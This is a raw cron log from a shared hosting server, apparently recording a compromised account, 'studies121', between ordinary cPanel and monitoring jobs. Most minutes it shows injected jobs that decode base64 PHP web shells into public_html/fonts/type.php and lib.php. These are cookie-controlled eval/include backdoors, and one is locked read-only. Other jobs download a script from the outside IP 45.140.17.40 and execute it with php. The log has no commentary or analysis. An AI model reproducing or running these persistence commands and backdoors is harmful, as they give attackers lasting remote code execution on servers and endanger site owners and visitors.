Sep 22 11:05:01 ip-184-168-122-23 CROND[17196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:05:01 ip-184-168-122-23 CROND[17197]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 11:05:01 ip-184-168-122-23 CROND[17198]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 11:05:01 ip-184-168-122-23 CROND[17201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:06:02 ip-184-168-122-23 CROND[18007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:06:02 ip-184-168-122-23 CROND[18008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:06:02 ip-184-168-122-23 CROND[18010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:06:02 ip-184-168-122-23 CROND[18012]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:06:02 ip-184-168-122-23 CROND[18013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:07:01 ip-184-168-122-23 CROND[18747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:07:01 ip-184-168-122-23 CROND[18749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:07:01 ip-184-168-122-23 CROND[18748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:07:02 ip-184-168-122-23 CROND[18750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:08:01 ip-184-168-122-23 CROND[19376]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:08:01 ip-184-168-122-23 CROND[19378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:08:01 ip-184-168-122-23 CROND[19381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:08:01 ip-184-168-122-23 CROND[19382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:08:01 ip-184-168-122-23 CROND[19383]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:09:01 ip-184-168-122-23 CROND[19987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:09:01 ip-184-168-122-23 CROND[19988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:09:01 ip-184-168-122-23 CROND[19989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:09:01 ip-184-168-122-23 CROND[19995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:09:01 ip-184-168-122-23 CROND[19994]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 11:10:01 ip-184-168-122-23 CROND[20708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:10:01 ip-184-168-122-23 CROND[20709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 11:10:01 ip-184-168-122-23 CROND[20710]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:10:01 ip-184-168-122-23 CROND[20712]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 11:10:01 ip-184-168-122-23 CROND[20722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:10:01 ip-184-168-122-23 CROND[20723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:10:01 ip-184-168-122-23 CROND[20726]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 11:10:01 ip-184-168-122-23 CROND[20727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:11:01 ip-184-168-122-23 CROND[21533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:11:01 ip-184-168-122-23 CROND[21535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:11:01 ip-184-168-122-23 CROND[21536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:11:01 ip-184-168-122-23 CROND[21534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:12:01 ip-184-168-122-23 CROND[22280]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:12:01 ip-184-168-122-23 CROND[22283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:12:01 ip-184-168-122-23 CROND[22284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:12:01 ip-184-168-122-23 CROND[22285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:12:01 ip-184-168-122-23 CROND[22286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:13:01 ip-184-168-122-23 CROND[23017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:13:01 ip-184-168-122-23 CROND[23018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:13:01 ip-184-168-122-23 CROND[23019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:13:01 ip-184-168-122-23 CROND[23020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:14:01 ip-184-168-122-23 CROND[23714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:14:01 ip-184-168-122-23 CROND[23719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:14:01 ip-184-168-122-23 CROND[23718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:14:01 ip-184-168-122-23 CROND[23717]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:14:01 ip-184-168-122-23 CROND[23720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:15:01 ip-184-168-122-23 CROND[24424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:15:01 ip-184-168-122-23 CROND[24426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:15:01 ip-184-168-122-23 CROND[24428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:15:01 ip-184-168-122-23 CROND[24429]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 11:15:01 ip-184-168-122-23 CROND[24427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:15:01 ip-184-168-122-23 CROND[24431]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 11:16:02 ip-184-168-122-23 CROND[24652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:16:02 ip-184-168-122-23 CROND[24651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:16:02 ip-184-168-122-23 CROND[24653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:16:02 ip-184-168-122-23 CROND[24660]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:16:02 ip-184-168-122-23 CROND[24658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:16:02 ip-184-168-122-23 CROND[24659]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 11:17:01 ip-184-168-122-23 CROND[24795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:17:01 ip-184-168-122-23 CROND[24800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
